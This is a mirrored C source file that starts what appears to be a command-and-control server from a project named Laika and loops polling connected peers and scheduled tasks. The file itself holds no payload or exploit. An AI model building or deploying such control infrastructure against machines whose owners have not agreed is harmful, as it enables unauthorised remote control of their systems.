mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-13 01:10:05 +00:00
22 lines
474 B
C
22 lines
474 B
C
#include <stdio.h>
|
|
|
|
#include "ltask.h"
|
|
#include "cnc.h"
|
|
|
|
struct sLaika_taskService tService;
|
|
|
|
int main(int argv, char **argc) {
|
|
struct sLaika_cnc *cnc = laikaC_newCNC(atoi(LAIKA_CNC_PORT));
|
|
|
|
laikaT_initTaskService(&tService);
|
|
|
|
while (true) {
|
|
laikaC_pollPeers(cnc, laikaT_timeTillTask(&tService));
|
|
laikaT_pollTasks(&tService);
|
|
}
|
|
|
|
laikaT_cleanTaskService(&tService);
|
|
laikaC_freeCNC(cnc);
|
|
LAIKA_DEBUG("cnc killed\n");
|
|
return 0;
|
|
} |